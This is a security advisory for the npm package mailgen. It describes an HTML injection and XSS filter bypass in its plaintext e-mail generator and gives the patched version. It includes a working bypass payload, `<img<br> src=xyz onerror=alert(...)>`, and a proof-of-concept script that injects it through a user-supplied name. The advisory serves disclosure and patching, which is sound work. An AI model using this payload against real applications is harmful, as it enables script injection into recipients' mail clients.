GHSA-j2xj-h7w5-r7vp
Mailgen: HTML injection vulnerability in plaintext e-mails
Quick fix
GHSA-j2xj-h7w5-r7vp — mailgen: upgrade to the fixed version with the command below.
npm install mailgen@2.0.30Details
# HTML Injection and XSS Filter Bypass in Plaintext Emails
### Summary An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email);` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).
### Vulnerability Analysis The following function (inside `index.js`) is intended to strip all HTML content to produce a plaintext string.
```javascript // Plaintext text e-mail generator Mailgen.prototype.generatePlaintext = function (params) { // Plaintext theme not cached? if (!this.cachedPlaintextTheme) { throw new Error('An error was encountered while loading the plaintext theme.'); } // Parse email params and get back an object with data to inject var ejsParams = this.parseParams(params);
// Render the plaintext theme with ejs, injecting the data accordingly var output = ejs.render(this.cachedPlaintextTheme, ejsParams);
// Definition of the <br /> tag as a regex pattern var breakTag = /(?:\<br\s*\/?\>)/g; var breakTagPattern = new RegExp(breakTag);
// Check the plaintext for html break tag, maintains backwards compatiblity if (breakTagPattern.test(this.cachedPlaintextTheme)) { // Strip all linebreaks from the rendered plaintext output = output.replace(/(?:\r\n|\r|\n)/g, '');
// Replace html break tags with linebreaks output = output.replace(breakTag, '\n');
// Remove plaintext theme indentation (tabs or spaces in the beginning of each line) output = output.replace(/^(?: |\t)*/gm, ""); }
// Strip all HTML tags from plaintext output output = output.replace(/<.+?>/g, '');
// Decode HTML entities such as © output = he.decode(output);
// All done! return output; }; ```
The process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.
A valid payload is: `<img<br> src=xyz onerror=alert(1)>`.
### Proof of Concept
```javascript var Mailgen = require('mailgen');
var mailGenerator = new Mailgen({ theme: 'default', product: { name: 'Mailgen', link: 'https://mailgen.js/' } });
var email = { body: { name: 'John <img<br> src=xyz onerror=alert(document.body.innerHTML)> Appleseed', intro: 'Welcome to Mailgen! We\'re very excited to have you on board.', action: { instructions: 'To get started with Mailgen, please click here:', button: { color: '#22BC66', text: 'Confirm your account', link: 'secret-link' } }, outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.' } };
// Generate the plaintext version of the e-mail var emailText = mailGenerator.generatePlaintext(email);
// Optionally, preview the generated plaintext e-mail require('fs').writeFileSync('emailText.txt', emailText, 'utf8'); ```
**Resulting output file (`emailText.txt`):**
```html Hi John <img src=xyz onerror=alert(document.body.innerHTML)> Appleseed,
Welcome to Mailgen! We're very excited to have you on board.
To get started with Mailgen, please click here: secret-link
Need help, or have questions? Just reply to this email, we'd love to help.
Yours truly, Mailgen
© 2025 Mailgen. All rights reserved. ```
### Mitigation The vulnerability has been patched in commit [741a019](https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d) and released to npm in version `2.0.30`.
Thanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.
Are you affected?
Enter the version of the package you're using.